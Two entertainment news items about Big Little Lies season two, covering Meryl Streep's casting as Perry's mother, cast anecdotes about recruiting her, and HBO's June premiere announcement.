However it looks like their luck may be running out, as Meryl Streep joins the show in season two as Mary Louise Wright – the late Perry’s mother.

Mary Louise is obviously interested in knowing exactly why her son is dead, and is certainly going to do everything she can to get to the bottom of it.

Recently, the cast got together to discuss the new season, as reported by the NZ Herald, and also spoke about Meryl’s inclusion in the show.

When author of the show’s source material, Liane Moriaty, began piecing together the story of season two, she did some research about Meryl ahead of time.

Celeste Wright star Nicole Kidman then exclaimed: “We didn’t know Mary Louise was Meryl’s real name.

“But Liane knew and she wrote it and then said: ‘I want Meryl Streep!’”

However, despite their Hollywood renown, Nicole was not convinced she and her colleague, Reese Witherspoon – who plays Madeline Martha Mackenzie – could get Meryl on board.

She went on: “Reese and I said: ‘We can’t get you Meryl!’

“But then I sent Meryl a text and when she responded after the [Golden] Globes – Reese and I were literally screaming on the phone with each other!”

Meryl then chimed in to reveal she already had Big Little Lies on her radar, saying: “I loved this show.

“I was addicted to it. I thought it was an amazing exercise in what we know and what we don’t know about people … about family, about friends, how it flirted with the mystery of things.

“What was unsaid, unshown, unknown was sort of the pull – the gravitational pull of the piece. And it was so exciting.”

“So, when I got the chance to join the crew,” Meryl went on. “I thought: ‘Yeah!’ I wanted to do it, to be in that world. The world that was created was amazing.”

Recently Nicole spoke about season two at a panel in New York, and apparently let slip a huge spoiler for Perry star Alexander.

Praising her co-star she explained: “He was the most incredible acting partner. And then he came back for season two.”

After stumbling over her words a little, she laughed and attempted to clarify: “He has a little bit of a part in the sense of…on the basis of… OK, I’ll be quiet.”

Does this mean Perry is back in season two after all?

Big Little Lies season two continues 2am Monday on Sky Atlantic.

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Time to book a return trip to Monterey: Season 2 of the Emmy-winning drama Big Little Lies will debut in June on HBO, the network has announced.

HBO on Friday also released a new Season 2 photo — which you can see above — showing Madeline, Celeste, Jane, Renata and Bonnie following the “unfortunate” death of Celeste’s abusive husband Perry in the Season 1 finale.

Season 2 also brings the arrival of Meryl Streep, who joins the cast as Mary Louise Wright, the mother of the deceased Perry. (We’re guessing she has some tough questions for Celeste.) Season 1 stars Reese Witherspoon, Nicole Kidman, Laura Dern, Shailene Woodley, Zoe Kravitz and Adam Scott are all set to reprise their roles, with American Horror Story veteran Denis O’Hare joining the ensemble as a new character named Ira Farber.

Press PLAY above for a sneak peek at Big Little Lies Season 2, and then share your early predictions in the comments.

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